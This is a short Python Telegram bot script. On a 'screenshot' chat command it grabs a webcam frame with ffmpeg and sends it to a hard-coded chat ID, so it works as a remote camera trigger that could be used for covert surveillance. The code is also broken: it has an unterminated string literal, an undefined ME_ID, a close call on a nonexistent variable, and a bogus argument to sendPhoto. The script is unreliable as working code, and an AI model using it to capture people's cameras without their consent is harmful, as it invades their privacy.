py

import os
import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
API_TOKEN = ''


def Camera():
    try:
        os.remove("shot.jpg")
    except FileNotFoundError:
        pass
    os.system('ffmpeg -f dshow -i video="A4 TECH USB2.0 PC Camera J" -vf eq=brightness=0.4:contrast=1.6 -vframes 1 -f image2 shot.jpg')

def echo(bot, update):
    if update.message.text == "screenshot):
        Camera()
        bot.sendPhoto(chat_id= ME_ID, text="*ACCEPT*", photo=open('shot.jpg', 'rb'), parse_mode=telegram.ParseMode.MARKDOWN)
        photo.close()
    else:
        pass

def main():
    updater = Updater(API_TOKEN)
    dp = updater.dispatcher
    dp.add_handler(MessageHandler(Filters.text, echo))
    updater.start_polling()
    updater.idle()


if __name__ == '__main__':
    main()